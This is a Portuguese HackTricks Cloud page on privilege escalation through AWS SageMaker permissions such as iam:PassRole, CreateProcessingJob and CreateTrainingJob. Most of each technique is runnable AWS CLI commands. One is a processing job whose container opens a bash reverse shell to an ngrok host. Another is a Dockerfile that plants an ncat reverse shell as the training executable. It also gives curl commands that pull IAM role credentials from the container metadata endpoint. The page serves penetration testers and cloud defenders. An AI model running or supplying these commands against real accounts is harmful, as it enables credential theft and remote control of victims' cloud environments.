AWS - Sagemaker Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Comece criando um notebook com a Função IAM para acessar anexada a ele:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

O seguinte conteúdo é do arquivo pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md:

A resposta deve conter um campo `NotebookInstanceArn`, que conterá o ARN da nova instância de notebook criada. Podemos então usar a API `create-presigned-notebook-instance-url` para gerar uma URL que podemos usar para acessar a instância do notebook assim que estiver pronta:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Acesse a URL com o navegador e clique em Open JupyterLab no canto superior direito, em seguida, role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.

Agora é possível acessar as credenciais de metadados da Função IAM.

Impacto Potencial: Escalação de privilégios para a função de serviço do sagemaker especificada.

sagemaker:CreatePresignedNotebookInstanceUrl

Se houver notebooks Jupyter já em execução e você puder listá-los com sagemaker:ListNotebookInstances (ou descobri-los de qualquer outra forma), você pode gerar um URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impacto Potencial: Privesc para a função de serviço do sagemaker anexada.

sagemaker:CreateProcessingJob,iam:PassRole

Um atacante com essas permissões pode fazer o sagemaker executar um job de processamento com uma função do sagemaker anexada a ele. O atacante pode indicar a definição do contêiner que será executado em uma instância de conta ECS gerenciada pela AWS, e roubar as credenciais da função IAM anexada.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Impacto Potencial: Privesc para a função de serviço do sagemaker especificada.

sagemaker:CreateTrainingJob, iam:PassRole

Um atacante com essas permissões será capaz de criar um job de treinamento, executando um contêiner arbitrário nele com uma função anexada a ele. Portanto, o atacante será capaz de roubar as credenciais da função.

Este cenário é mais difícil de explorar do que o anterior porque você precisa gerar uma imagem Docker que enviará o rev shell ou credenciais diretamente para o atacante (você não pode indicar um comando de início na configuração do job de treinamento).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Impacto Potencial:** Privesc para a função de serviço do sagemaker especificada.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Um atacante com essas permissões poderá (potencialmente) criar um **trabalho de ajuste de hiperparâmetros**, **executar um contêiner arbitrário** nele com um **papel anexado** a ele.\
_Não explorei por falta de tempo, mas parece semelhante aos exploits anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração._

# Referências
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras maneiras de apoiar o HackTricks:

* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.

</details>

Última actualización